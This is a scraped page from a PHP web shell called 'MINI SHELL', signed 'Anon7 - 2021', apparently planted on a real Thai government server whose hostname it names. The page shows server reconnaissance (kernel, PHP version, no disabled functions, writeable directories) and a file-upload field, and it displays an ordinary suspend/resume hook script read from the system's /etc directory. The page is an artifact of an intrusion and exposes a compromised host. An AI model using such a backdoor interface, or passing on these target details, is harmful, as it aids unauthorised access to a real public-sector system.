MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/etc/pm/hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/etc/pm/hooks/20video
#!/bin/bash

. /etc/pm/functions

case "$(get_video_type)" in
        ATI)
		. /etc/pm/functions-ati
	;;
	nVidia)
		. /etc/pm/functions-nvidia
	;;
	Intel)
		. /etc/pm/functions-intel
	;;
esac

DO_RESUME=yes
if [ "x$PM_MODE" == "xhibernate" -a \
		"x$HIBERNATE_RESUME_POST_VIDEO" != "xyes" ]; then
	DO_RESUME=no
fi

case "$1" in
	suspend)
		suspend_video
		;;
	resume)
		if [ "$DO_RESUME" == "yes" ]; then
			resume_video
		fi
		;;
	*)
		;;
esac

exit $?

Anon7 - 2021